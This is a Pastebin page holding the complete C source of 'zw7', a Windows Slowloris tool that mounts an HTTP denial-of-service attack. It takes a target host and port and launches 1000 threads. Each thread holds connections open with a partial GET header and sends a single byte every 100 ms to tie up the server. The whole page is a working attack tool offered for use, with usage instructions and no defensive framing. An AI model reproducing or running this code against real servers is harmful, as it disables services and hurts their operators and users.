Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <stdio.h>
- #include <WinSock2.h>
- #pragma comment(lib,"ws2_32.lib")
- DWORD WINAPI SlowlorisThread(PVOID p)
- {
- SOCKET s;
- sockaddr_in* sai;
- char header[]="GET /",a='A';
- int n;
- sai=(sockaddr_in*)p;
- while(1)
- {
- s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
- if(s!=INVALID_SOCKET)
- {
- connect(s,(sockaddr*)sai,sizeof(sockaddr_in));
- send(s,header,sizeof(header)-1,0);
- while(1)
- {
- n=send(s,&a,1,0);
- if(n==SOCKET_ERROR)
- {
- break;
- }
- Sleep(100);
- }
- closesocket(s);
- }
- }
- }
- int main(int argc,char* argv[])
- {
- WSADATA wd;
- ULONG i;
- hostent* host;
- sockaddr_in sai;
- if(argc<2)
- {
- printf("\nzw7 - HTTP slowloris tool for Windows\nby zwclose7\n\nhttp://zwclose7.wordpress.com\n\nUsage: zw7 [Hostname/IP address] [Port]\nIf port is not set, the port 80 is used\n");
- return -1;
- }
- if(WSAStartup(0x202,&wd))
- {
- printf("\nError: Unable to initialize Winsock\n");
- return -1;
- }
- host=gethostbyname(argv[1]);
- if(!host)
- {
- printf("\nError: Hostname not found\n");
- return -1;
- }
- sai.sin_family=AF_INET;
- sai.sin_addr.S_un.S_addr=*(PULONG)host->h_addr;
- sai.sin_port=htons(argc<3 ? 80:strtoul(argv[2],NULL,0));
- printf("\nCreating 1000 threads for attack...\n");
- for(i=0;i<1000;i++)
- {
- CreateThread(NULL,0,SlowlorisThread,&sai,0,NULL);
- }
- printf("\nAttack started\nPress enter to stop\n");
- getchar();
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment